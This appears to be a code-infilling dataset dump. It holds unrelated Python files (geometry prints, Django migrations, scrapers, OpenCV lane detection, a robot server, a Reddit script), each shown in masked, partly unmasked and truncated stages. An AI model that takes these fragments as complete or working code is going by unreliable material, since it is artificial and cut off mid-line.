{ "blob_id": "784b51c05dc7b5e70016634e2664c9ec25b8a65a", "index": 6506, "step-1": "<mask token>\n\n\nclass FDA_node(object):\n <mask token>\n\n def grow(self):\n self.right = FDA_node()\n self.left = FDA_node()\n\n def find_optimal_param(self, x, y):\n self.m = self.method.find_optim...
[ 5, 6, 9, 11, 12 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print('TRIANGULO: {:.3f}'.format(t)) <|reserved_special_token_0|> print('CIRCULO: {:.3f}'.format(pi * c ** 2)) print('TRAPEZIO: {:.3f}'.format((a + b) * c / 2)) print('QUADRADO: {:.3f}'.format(b ** 2)) print('RETANGULO: {:.3f}'.fo...
flexible
{ "blob_id": "d44d9003e9b86722a0fc1dfe958de462db9cd5f1", "index": 1670, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('TRIANGULO: {:.3f}'.format(t))\n<mask token>\nprint('CIRCULO: {:.3f}'.format(pi * c ** 2))\nprint('TRAPEZIO: {:.3f}'.format((a + b) * c / 2))\nprint('QUADRADO: {:.3f}'.format(b ** 2...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> with open('D:\\Desktop\\西瓜数据集3.0.csv', 'r', encoding='utf-8') as data_obj: df = pd.read_csv(data_obj) <|reserved_special_token_0|> pd.set_option('display.max_columns', 1000) <|reserved_special_token_0|> for i in range(len(Y)):...
flexible
{ "blob_id": "682b3e1d6d40f4b279052ac27df19268d227fef8", "index": 6899, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith open('D:\\\\Desktop\\\\西瓜数据集3.0.csv', 'r', encoding='utf-8') as data_obj:\n df = pd.read_csv(data_obj)\n<mask token>\npd.set_option('display.max_columns', 1000)\n<mask token>\nfor...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class AchievementGrant(object): <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class AchievementGrant(object): def on_post(self, req, resp): """ Prideleni ach...
flexible
{ "blob_id": "89ec04280ecfdfcba1923e2742e31d34750f894f", "index": 4536, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass AchievementGrant(object):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass AchievementGrant(object):\n\n def on_post(self, req, resp):\n \"\"\"\n Prid...
[ 0, 1, 2, 3, 4 ]
#!../virtual_env/bin/python from migrate.versioning import api from config import SQLALCHEMY_DATABASE_URI from config import SQLALCHEMY_MIGRATE_REPO from models.base import metadata from sqlalchemy import create_engine import os.path engine = create_engine(SQLALCHEMY_DATABASE_URI) metadata.create_all(engine) if not...
normal
{ "blob_id": "9bbf0953d228c970764b8ba94675346820bc5d90", "index": 3006, "step-1": "<mask token>\n", "step-2": "<mask token>\nmetadata.create_all(engine)\nif not os.path.exists(SQLALCHEMY_MIGRATE_REPO):\n api.create(SQLALCHEMY_MIGRATE_REPO, 'database repository')\n api.version_control(SQLALCHEMY_DATABASE_U...
[ 0, 1, 2, 3, 4 ]
import re pattern1 = r"[:]{2}[A-Z][a-z]{2,}[:]{2}|[\*]{2}[a-zA-Z]{3,}[\*]{2}" pattern2 = r"([0-9]+)" data = input() valid_emojis = re.findall(pattern1, data) numbers_ascii = re.findall(pattern2, data) numbers_total = "" for num in numbers_ascii: numbers_total += num cool_threshold = 1 for i in numbers_total: ...
normal
{ "blob_id": "c2201a281ccd0833b0d7d2219d97ce3175fb012b", "index": 2042, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor num in numbers_ascii:\n numbers_total += num\n<mask token>\nfor i in numbers_total:\n i = int(i)\n cool_threshold *= i\nprint(f'Cool threshold: {cool_threshold}')\n<mask toke...
[ 0, 1, 2, 3, 4 ]
import pymysql def testeSelect(db): #创建查询游标 cur1 = db.cursor() # 使用 execute() 方法执行 SQL 查询 cur1.execute("SELECT VERSION()") # 使用 fetchone() 方法获取单条数据. data = cur1.fetchone() print(dir(data)) print ("cur1 : %s " % cur1) print ("Database version : %s " % data) def dropTable(db): #创建查询游标 cur1 = db.curs...
normal
{ "blob_id": "75133dd924f8f3f028075c5d2109bb79ddc7fe87", "index": 434, "step-1": "<mask token>\n\n\ndef testeSelect(db):\n cur1 = db.cursor()\n cur1.execute('SELECT VERSION()')\n data = cur1.fetchone()\n print(dir(data))\n print('cur1 : %s ' % cur1)\n print('Database version : %s ' % data)\n\n\n...
[ 4, 5, 6, 7, 9 ]
# -*- coding:utf-8 -*- ''' Created on 2013. 4. 30. @author: Hwang-JinHwan parsing the txt file which are generated by coping the pdf nova praxis rpg rule book to create bootstrap document ''' import re import codecs template = """ <head> <style type="text/css"> body {{ padding-...
normal
{ "blob_id": "c036621c5f03d94987b4da004d063d11a7cc8424", "index": 4418, "step-1": "# -*- coding:utf-8 -*-\r\n'''\r\nCreated on 2013. 4. 30.\r\n\r\n@author: Hwang-JinHwan\r\n\r\nparsing the txt file which are generated by coping the pdf nova praxis rpg rule book \r\nto create bootstrap document\r\n'''\r\nimport re...
[ 0 ]
from bs4 import BeautifulSoup import urllib2 import datetime import re import csv import sys import time import bb_load as bb_l import pandas as pd import requests #Scrape the web for new buybacks def scrape_buybacks(): ''' (NoneType) -> scraped_database.csv, database=open('scrape_database....
normal
{ "blob_id": "276bcb2e90c30f87c618106e5e862f00d082da34", "index": 9224, "step-1": "\r\nfrom bs4 import BeautifulSoup\r\nimport urllib2\r\nimport datetime\r\nimport re\r\nimport csv\r\nimport sys\r\nimport time\r\nimport bb_load as bb_l\r\nimport pandas as pd\r\nimport requests\r\n\r\n#Scrape the web for new buyba...
[ 0 ]
from youtube_transcript_api import YouTubeTranscriptApi transcript_list = YouTubeTranscriptApi.list_transcripts('i8pOulVUz0A') transcript = transcript_list.find_transcript(['en']) transcript = transcript.fetch() with open("transcript.txt", 'w') as f: for line in transcript: f.write(line['text']+ '\n')
normal
{ "blob_id": "c2d6e4286e1b9d6dc852bde994da60d353e03e5c", "index": 8031, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith open('transcript.txt', 'w') as f:\n for line in transcript:\n f.write(line['text'] + '\\n')\n", "step-3": "<mask token>\ntranscript_list = YouTubeTranscriptApi.list_trans...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(any(i.isalnum() for i in s)) print(any(i.isalpha() for i in s)) print(any(i.isdigit() for i in s)) print(any(i.islower() for i in s)) print(any(i.isupper() for i in s)) <|reserved_special_token_0|> <|reserved_special_token...
flexible
{ "blob_id": "f29fa3d796d9d403d6bf62cb28f5009501c55545", "index": 3650, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(any(i.isalnum() for i in s))\nprint(any(i.isalpha() for i in s))\nprint(any(i.isdigit() for i in s))\nprint(any(i.islower() for i in s))\nprint(any(i.isupper() for i in s))\n<mask t...
[ 0, 1, 2, 3 ]
import cv2 import numpy as np kernel = np.ones((3, 3), np.uint8) def mask(image): # define region of interest green_frame = image[50:350, 50:350] cv2.rectangle(image, (50, 50), (350, 350), (0, 255, 0), 0) hsv = cv2.cvtColor(green_frame, cv2.COLOR_BGR2HSV) # define range of skin color in HSV lowe...
normal
{ "blob_id": "2286aa1581ca7d6282b35847505a904980da275e", "index": 8659, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef mask(image):\n green_frame = image[50:350, 50:350]\n cv2.rectangle(image, (50, 50), (350, 350), (0, 255, 0), 0)\n hsv = cv2.cvtColor(green_frame, cv2.COLOR_BGR2HSV)\n ...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class CtrlServer(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def assign_subsystems(self): """Instantiates and stores references to bot subsystems. :returns: Dict of subsystems, maps system name to instan...
flexible
{ "blob_id": "ddb81e3ce0df44ee503c558b68b41c35935358a0", "index": 8663, "step-1": "<mask token>\n\n\nclass CtrlServer(object):\n <mask token>\n <mask token>\n <mask token>\n\n def assign_subsystems(self):\n \"\"\"Instantiates and stores references to bot subsystems.\n\n :returns: Dict of...
[ 10, 13, 16, 18, 19 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> while lic_plate != 'A999AA': if int(speed) > 60: if lic_plate[1] == lic_plate[2] and lic_plate[2] == lic_plate[3]: salary += 1000 elif lic_plate[1] == lic_plate[2] or lic_plate[1] == lic_plate[3]: ...
flexible
{ "blob_id": "ff8ffeb418bf4f9bc7d5dadd126ebc7c34c5c2cd", "index": 4454, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile lic_plate != 'A999AA':\n if int(speed) > 60:\n if lic_plate[1] == lic_plate[2] and lic_plate[2] == lic_plate[3]:\n salary += 1000\n elif lic_plate[1] == ...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> msg(""" Проверка на наличие подпапок исходной папки в выходной:""") for folder in input_folders: if folder in output_folders: warning(' ' + folder) else: error(' ' + folder) msg(""" Проверка на наличи...
flexible
{ "blob_id": "409e0fc0b1c1d86c5526d33ba271a8387eecf748", "index": 9872, "step-1": "<mask token>\n", "step-2": "<mask token>\nmsg(\"\"\"\nПроверка на наличие подпапок исходной папки в выходной:\"\"\")\nfor folder in input_folders:\n if folder in output_folders:\n warning(' ' + folder)\n else:\n ...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> if __name__ == '__main__': topping = None while topping != 'quit': if topping: print("I'll add %s to your pizza!" % topping) topping = input( "What topping would you like? (enter 'qu...
flexible
{ "blob_id": "4d07795543989fe481e1141756f988d276f82c02", "index": 5348, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n topping = None\n while topping != 'quit':\n if topping:\n print(\"I'll add %s to your pizza!\" % topping)\n topping = input(\n ...
[ 0, 1, 2 ]
""" Proyecto SA^3 Autor: Mario Lopez Luis Aviles Joaquin V Fecha: Octubre del 2012 versión: 1 """ #Manejo de temlates en el HTML import jinja2 from jinja2 import Environment, PackageLoader import os import cgi import datetime import urllib # for hashing import hashlib...
normal
{ "blob_id": "51cb750082ce93b6d14fe3aa40711836d493129c", "index": 3692, "step-1": "\"\"\"\r\nProyecto SA^3\r\nAutor: \tMario Lopez\r\n Luis Aviles\r\n\t\tJoaquin V\r\nFecha: Octubre del 2012\r\nversión: 1\r\n\"\"\"\r\n\r\n#Manejo de temlates en el HTML\r\nimport jinja2 \r\nfrom jinja2 i...
[ 0 ]
def presses(phrase): keyboard = ['1', 'ABC2', 'DEF3', 'GHI4', 'JKL5', 'MNO6', 'PQRS7', 'TUV8', 'WXYZ9', '*', ' 0', '#'] amount = 0 for lttr in phrase.upper(): for key in keyboard: try: i = key.index(lttr) i += 1 amount += i ...
normal
{ "blob_id": "c2e9a93861080be616b6d833a9343f1a2f018a0b", "index": 5039, "step-1": "<mask token>\n", "step-2": "def presses(phrase):\n keyboard = ['1', 'ABC2', 'DEF3', 'GHI4', 'JKL5', 'MNO6', 'PQRS7',\n 'TUV8', 'WXYZ9', '*', ' 0', '#']\n amount = 0\n for lttr in phrase.upper():\n for key i...
[ 0, 1 ]
#!/usr/bin/env python3 import numpy as np import os import random import pandas as pd def read_chunk(reader, chunk_size): data = {} for i in range(chunk_size): ret = reader.read_next() for k, v in ret.items(): if k not in data: data[k] = [] data[k].appe...
normal
{ "blob_id": "dc28c3426f47bef8b691a06d54713bc68696ee44", "index": 8309, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef read_chunk(reader, chunk_size):\n data = {}\n for i in range(chunk_size):\n ret = reader.read_next()\n for k, v in ret.items():\n if k not in data:\...
[ 0, 1, 2, 3 ]
include ("RecExRecoTest/RecExRecoTest_RTT_common.py") from BTagging.BTaggingFlags import BTaggingFlags BTaggingFlags.Active=False # main jobOption include ("RecExCommon/rdotoesdnotrigger.py") include ("RecExRecoTest/RecExRecoTest_RTT_common_postOptions.py")
normal
{ "blob_id": "34c91d273648ae72731fba7f5519a4920d77c0c3", "index": 7192, "step-1": "<mask token>\n", "step-2": "include('RecExRecoTest/RecExRecoTest_RTT_common.py')\n<mask token>\ninclude('RecExCommon/rdotoesdnotrigger.py')\ninclude('RecExRecoTest/RecExRecoTest_RTT_common_postOptions.py')\n", "step-3": "includ...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def MainRun(): Cmd() Test.TestGo() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def MainRun(): Cmd() Test.TestGo() def Cmd(): if len(sys.argv) != 3: ...
flexible
{ "blob_id": "734561c2f127418bdc612f84b3b1ba125b6a2723", "index": 3784, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef MainRun():\n Cmd()\n Test.TestGo()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef MainRun():\n Cmd()\n Test.TestGo()\n\n\ndef Cmd():\n if len(sys.argv) !=...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for cnt in range(1, T + 1): S = input() S_list = [] card = {'S': 13, 'D': 13, 'H': 13, 'C': 13} print('#' + str(cnt), end=' ') for i in range(0, len(S), 3): S_list.append(S[i:i + 3]) if len(set(S_li...
flexible
{ "blob_id": "45750152313fd3670867c61d0173e4cb11a806ba", "index": 4468, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor cnt in range(1, T + 1):\n S = input()\n S_list = []\n card = {'S': 13, 'D': 13, 'H': 13, 'C': 13}\n print('#' + str(cnt), end=' ')\n for i in range(0, len(S), 3):\n ...
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def performance(): give_speech() visualize_dow_jones() give_art_critiques() stare_at_people() try_hipster_social_interaction() share_feelings_with_everyone() perform_slapstick_humor() finish() <...
flexible
{ "blob_id": "d218b72d1992a30ad07a1edca1caf04b7b1985f6", "index": 7834, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef performance():\n give_speech()\n visualize_dow_jones()\n give_art_critiques()\n stare_at_people()\n try_hipster_social_interaction()\n share_feelings_with_everyo...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> def Process(num, x, y, button_text, color): text_fmt1 = text_1.render(text[num], 1, Brack) screen.blit(text_fmt1, (x - 127, y)) pygame.draw.rect(screen, Brack, [x, y, 60, 25], 2) pygame.draw.rect(screen, color, [x + 2, y + 2, 57, 22], 0) button = text_2.render(button_t...
flexible
{ "blob_id": "609071fc3af1b526fbd4555ced2376f56ae0f3c3", "index": 2174, "step-1": "<mask token>\n\n\ndef Process(num, x, y, button_text, color):\n text_fmt1 = text_1.render(text[num], 1, Brack)\n screen.blit(text_fmt1, (x - 127, y))\n pygame.draw.rect(screen, Brack, [x, y, 60, 25], 2)\n pygame.draw.re...
[ 2, 3, 4, 5, 6 ]
<|reserved_special_token_0|> class DevelopmentConfig(Config): DEBUG = True CORS_ALLOWED_ORIGINS = 'developmentexample.com' class TestingConfig(Config): TESTING = True <|reserved_special_token_1|> <|reserved_special_token_0|> class ProductionConfig(Config): <|reserved_special_token_0|> class D...
flexible
{ "blob_id": "b76c868a29b5edd07d0da60b1a13ddb4ac3e2913", "index": 6988, "step-1": "<mask token>\n\n\nclass DevelopmentConfig(Config):\n DEBUG = True\n CORS_ALLOWED_ORIGINS = 'developmentexample.com'\n\n\nclass TestingConfig(Config):\n TESTING = True\n", "step-2": "<mask token>\n\n\nclass ProductionConf...
[ 4, 5, 7, 8, 9 ]
# -*- coding: utf-8 -*- # Copyright (c) 2018-2019 Linh Pham # wwdtm_panelistvspanelist is relased under the terms of the Apache License 2.0 """WWDTM Panelist Appearance Report Generator""" import argparse from collections import OrderedDict from datetime import datetime import json import os import shutil from typing ...
normal
{ "blob_id": "2d20bac0f11fa724b2d0a2e0676e5b9ce7682777", "index": 7387, "step-1": "<mask token>\n\n\ndef retrieve_all_years(database_connection: mysql.connector.connect) ->List[int\n ]:\n \"\"\"Retrieve a list of all available show years\"\"\"\n cursor = database_connection.cursor()\n query = (\n ...
[ 5, 6, 7, 8, 10 ]
import os, sys, string import linecache, math import numpy as np import datetime , time from pople import NFC from pople import uniqatoms from pople import orca_printbas ####### orca_run - S def orca_run(method, basis,optfreq,custombasis, correlated, values, charge, multip, sym, R_coord): """ Runs orca ...
normal
{ "blob_id": "019e8d7159fe07adc245e6476ac1fed5e9c457b5", "index": 3035, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef orca_run(method, basis, optfreq, custombasis, correlated, values,\n charge, multip, sym, R_coord):\n \"\"\"\n Runs orca\n\n Parameters:\n me...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class UserUpdateAPIView(UpdateAPIView): <|reserved_special_token_0|> <|reserved_special_token_0|> def post(self, request, format=None): data = request queryset = User.objects.get() class UserTokenVerifyAPIView(APIView): permission_classes = [AllowAny] ...
flexible
{ "blob_id": "18f355041a9982de56ad2eb51b665dd39a156f0a", "index": 9638, "step-1": "<mask token>\n\n\nclass UserUpdateAPIView(UpdateAPIView):\n <mask token>\n <mask token>\n\n def post(self, request, format=None):\n data = request\n queryset = User.objects.get()\n\n\nclass UserTokenVerifyAPI...
[ 11, 12, 14, 16, 18 ]
<|reserved_special_token_0|> class CourceCreateView(CreateView): template_name = 'cources/create_cource.html' form_class = CourceCreateForm success_url = reverse_lazy('cources:cource_list') class CourceUpdateView(UpdateView): model = Courses form_class = CourceCreateForm template_name = 'cou...
flexible
{ "blob_id": "3340277df91f1421dab8d204eddce65b4604432b", "index": 369, "step-1": "<mask token>\n\n\nclass CourceCreateView(CreateView):\n template_name = 'cources/create_cource.html'\n form_class = CourceCreateForm\n success_url = reverse_lazy('cources:cource_list')\n\n\nclass CourceUpdateView(UpdateView...
[ 4, 6, 7, 8 ]
import requests from SPARQLWrapper import SPARQLWrapper, JSON from rdflib import Graph from plenum.server.plugin.graphchain.graph_store import GraphStore from plenum.server.plugin.graphchain.logger import get_debug_logger logger = get_debug_logger() class StardogGraphStore(GraphStore): def __init__(self, ts_db_...
normal
{ "blob_id": "a42a94798d176e20646d41cf0f4b7e4f99e0790b", "index": 105, "step-1": "<mask token>\n\n\nclass StardogGraphStore(GraphStore):\n <mask token>\n\n def check_whether_db_exists(self):\n logger.debug(\"Checking whether a triple store with db '{}' exists...\"\n .format(self._node_ts_u...
[ 4, 5, 6, 7, 8 ]
class ListNode: def __init__(self,listt,node,g,h): self.node_list = [] for element in listt: self.node_list.append(element) self.node_list.append(node) self.g=g self.f = int(g)+int(h); self.ID = node def is_Goal(self,complete_nodes): ...
normal
{ "blob_id": "2b796fb99e4607d310a533e8d9897100c4df087d", "index": 2665, "step-1": "<mask token>\n", "step-2": "class ListNode:\n <mask token>\n <mask token>\n", "step-3": "class ListNode:\n\n def __init__(self, listt, node, g, h):\n self.node_list = []\n for element in listt:\n ...
[ 0, 1, 2, 3, 4 ]
import urllib3 with open('python.jpg', 'rb') as f: data = f.read() http = urllib3.PoolManager() r = http.request('POST', 'http://httpbin.org/post', body=data, headers={ 'Content-Type': 'image/jpeg'}) print(r.data.decode())
normal
{ "blob_id": "98dbc6c3bdc3efb4310a2dbb7b1cc1c89eb4582b", "index": 7354, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith open('python.jpg', 'rb') as f:\n data = f.read()\n<mask token>\nprint(r.data.decode())\n", "step-3": "<mask token>\nwith open('python.jpg', 'rb') as f:\n data = f.read()\nhtt...
[ 0, 1, 2, 3 ]
import numpy as np import matplotlib.pyplot as plt from matplotlib import gridspec from sklearn.preprocessing import normalize def blackbox_function(x, y=None, sim=False): if sim: if y is None: return -x ** 2 + 6 else: return -(x+y) ** 2 + 6 # Reading the magnitude of t...
normal
{ "blob_id": "6defbe25fc17e53df2fc4d32886bba1cb141bdfd", "index": 7018, "step-1": "<mask token>\n\n\ndef obtain_confidence(sim=False):\n if sim:\n noise = np.random.normal(0, 0.6, size=1)[0]\n return noise\n filename = 'Confidence.txt'\n lines = open(filename).read().splitlines()\n try:\...
[ 2, 3, 4, 5, 6 ]
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import tinymce.models class Migration(migrations.Migration): dependencies = [ ('book', '0002_auto_20180402_2344'), ] operations = [ migrations.CreateModel( name='HeriInfo...
normal
{ "blob_id": "2c4fe8015968b8a78c7b2ea33ac5e21e01c82e6e", "index": 2818, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('book', '000...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> websocket_urlpatterns = [re_path('ws/chat/(?P<room_id>\\w+)/$', ChatConsumer), re_path('ws/lobby/$', ChatLobbyConsumer)] <|reserved_special_token_1|> from django.urls import re_path from .consumers import ChatConsumer, Chat...
flexible
{ "blob_id": "1bd1769f94b93e0bb674adfd1bb96c778708f6d8", "index": 5593, "step-1": "<mask token>\n", "step-2": "<mask token>\nwebsocket_urlpatterns = [re_path('ws/chat/(?P<room_id>\\\\w+)/$',\n ChatConsumer), re_path('ws/lobby/$', ChatLobbyConsumer)]\n", "step-3": "from django.urls import re_path\nfrom .con...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> from features.steps.web.test_home_page import * from features.steps.mobile.test_home_page import * from features.steps.web.test_login_page import *
flexible
{ "blob_id": "b09d0806dfc6f4badfd9f2ac9c3f6d17d3df8e8c", "index": 3254, "step-1": "<mask token>\n", "step-2": "from features.steps.web.test_home_page import *\nfrom features.steps.mobile.test_home_page import *\nfrom features.steps.web.test_login_page import *\n", "step-3": null, "step-4": null, "step-5":...
[ 0, 1 ]
"""deserialization tools""" import typing as t from datetime import datetime from functools import partial from toolz import compose, flip, valmap from valuable import load, xml from . import types registry = load.PrimitiveRegistry({ bool: dict(true=True, false=False).__getitem__, datetime: partial(flip(...
normal
{ "blob_id": "2dcb2d8d41096f0affe569d8ddbdd190885d5f14", "index": 4738, "step-1": "<mask token>\n", "step-2": "<mask token>\nregistry = load.PrimitiveRegistry({bool: dict(true=True, false=False).\n __getitem__, datetime: partial(flip(datetime.strptime),\n '%Y-%m-%dT%H:%M:%S%z'), str: str.strip, **{c: c fo...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> __all__.extend(colorbar_artist.__all__) __all__.extend(subplot_artist.__all__) __all__.extend(surface_3d_with_shadows.__all__) <|reserved_special_token_1|> <|reserved_special_token_0|> __all__ = ['colorbar_artist', 'subplot_art...
flexible
{ "blob_id": "16c4dbd472f9d32e5fa48a28dff4a40914f7d29e", "index": 8231, "step-1": "<mask token>\n", "step-2": "<mask token>\n__all__.extend(colorbar_artist.__all__)\n__all__.extend(subplot_artist.__all__)\n__all__.extend(surface_3d_with_shadows.__all__)\n", "step-3": "<mask token>\n__all__ = ['colorbar_artist...
[ 0, 1, 2, 3 ]
import numpy as np import cv2 import matplotlib.pyplot as plt import matplotlib.image as mpimg from glob import glob from moviepy.editor import VideoFileClip output_images_dir = './output_images/' test_images_dir = './test_images/' output_video_file = 'output.mp4' mtx = None dist = None def load_image(filename): ...
normal
{ "blob_id": "3ac30240577eda08343796abbd051d5d3b45beaf", "index": 3416, "step-1": "<mask token>\n\n\ndef load_image(filename):\n return mpimg.imread(filename)\n\n\ndef calibrate_camera(rows=6, cols=9):\n mtx = None\n dist = None\n save_file = 'calibration.npz'\n try:\n data = np.load(save_fi...
[ 14, 17, 18, 19, 20 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for line in stdin: data = line.strip().split(',') if last_emp != '' and last_emp != emp_id: print( f'{emp_id},{emp_surname},{emp_name},{position},{dep_id},{dep_id},{dep_name},{num_of_emp},{head}' ...
flexible
{ "blob_id": "3a2b1ddab422d450ad3b5684cbed1847d31fb8e6", "index": 2839, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor line in stdin:\n data = line.strip().split(',')\n if last_emp != '' and last_emp != emp_id:\n print(\n f'{emp_id},{emp_surname},{emp_name},{position},{dep_id},...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def TestDrawGraphs(): manager = MetricsManager() manager.displayMetricsGraph() return <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def TestDrawGraphs(): manager = MetricsManager() manager.displayMetricsGraph() return...
flexible
{ "blob_id": "4e8a5b0ba13921fb88d5d6371d50e7120ab01265", "index": 737, "step-1": "<mask token>\n\n\ndef TestDrawGraphs():\n manager = MetricsManager()\n manager.displayMetricsGraph()\n return\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef TestDrawGraphs():\n manager = MetricsManager()\n m...
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(x) <|reserved_special_token_0|> print(x) <|reserved_special_token_0|> print(x) <|reserved_special_token_1|> x = 2 print(x) x = 54 print(x) x = 'Cheese' print(x) <|reserved_special_token_1|> #### #Some more on variables...
flexible
{ "blob_id": "dae8529aa58f1451d5acdd6607543c202c3c0c66", "index": 3810, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(x)\n<mask token>\nprint(x)\n<mask token>\nprint(x)\n", "step-3": "x = 2\nprint(x)\nx = 54\nprint(x)\nx = 'Cheese'\nprint(x)\n", "step-4": "####\n#Some more on variables\n####\n\...
[ 0, 1, 2, 3 ]
# Reddit API feed import praw import sys import os def main(): if os.getenv("REDDIT_CLIENT_ID") is None: print "Set your Reddit environment variables:" print "REDDIT_CLIENT_ID and REDDIT_CLIENT_SECRET" sys.exit() client_id = os.environ['REDDIT_CLIENT_ID'] client_secret = os.environ...
normal
{ "blob_id": "9543992e1b115f83640a07c4d4372be0fb465199", "index": 3256, "step-1": "# Reddit API feed\n\nimport praw\nimport sys\nimport os\n\ndef main():\n if os.getenv(\"REDDIT_CLIENT_ID\") is None:\n print \"Set your Reddit environment variables:\"\n print \"REDDIT_CLIENT_ID and REDDIT_CLIENT_S...
[ 0 ]
<|reserved_special_token_0|> def get_prediction_data(data, model_path): x = data.drop(PREDICT_X_SKIP_COLS, axis=1) y = data[X_COLS] model = joblib.load(model_path) y_pred, metrics = regression.evaluate(model, x, y, METRICS_INFO) y_pred = pd.DataFrame(data=y_pred, columns=X_COLS) return y_pred,...
flexible
{ "blob_id": "4bdff51a4e277889f4d54d4ace7a0f5384e74f1e", "index": 9017, "step-1": "<mask token>\n\n\ndef get_prediction_data(data, model_path):\n x = data.drop(PREDICT_X_SKIP_COLS, axis=1)\n y = data[X_COLS]\n model = joblib.load(model_path)\n y_pred, metrics = regression.evaluate(model, x, y, METRICS...
[ 6, 7, 8, 9, 10 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(round(Qf, 2)) <|reserved_special_token_1|> j = float(input('juros')) Q0 = 1500 t = 36 Qf = Q0 * (1 + j) ** t print(round(Qf, 2)) <|reserved_special_token_1|> j= float(input("juros")) Q0= 1500 t= 36 Qf=Q0*(1+j)**t print...
flexible
{ "blob_id": "700d6e0c7dab58ed0157265ff78021923c17e397", "index": 5619, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(round(Qf, 2))\n", "step-3": "j = float(input('juros'))\nQ0 = 1500\nt = 36\nQf = Q0 * (1 + j) ** t\nprint(round(Qf, 2))\n", "step-4": "j= float(input(\"juros\"))\nQ0= 1500\nt= 36...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> @runnable class RoleMixin(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def _add_service(self, cls, *args, **kwargs): ...
flexible
{ "blob_id": "fee757b91f8c2ca1c105d7e67636772a8b5eafd5", "index": 8158, "step-1": "<mask token>\n\n\n@runnable\nclass RoleMixin(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def _add_service(self, cls, *args, **kwargs):\n pipe, p...
[ 4, 10, 11, 14, 15 ]
<|reserved_special_token_0|> class SingleMode(NinePalaceGame): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def player_play(self, i, j): if not self.game_is_over and not self.box[i][j]: self.box[i][j] = 1 self.value_group[i][j]...
flexible
{ "blob_id": "841743d4e9d683827962d83a77a87c6432842add", "index": 8013, "step-1": "<mask token>\n\n\nclass SingleMode(NinePalaceGame):\n <mask token>\n <mask token>\n <mask token>\n\n def player_play(self, i, j):\n if not self.game_is_over and not self.box[i][j]:\n self.box[i][j] = 1...
[ 6, 7, 9, 11, 13 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class GF_AVCConfigSlot(Structure): <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class GF_AVCConfigSlot(Structure): _fields_ = [('size', c_uint16), ('data', c_char), ('id', i...
flexible
{ "blob_id": "f3b194bbc3c174549b64d6e6b1a8f4438a0c9d38", "index": 4791, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass GF_AVCConfigSlot(Structure):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass GF_AVCConfigSlot(Structure):\n _fields_ = [('size', c_uint16), ('data', c_char), ('id'...
[ 0, 1, 2, 3, 4 ]
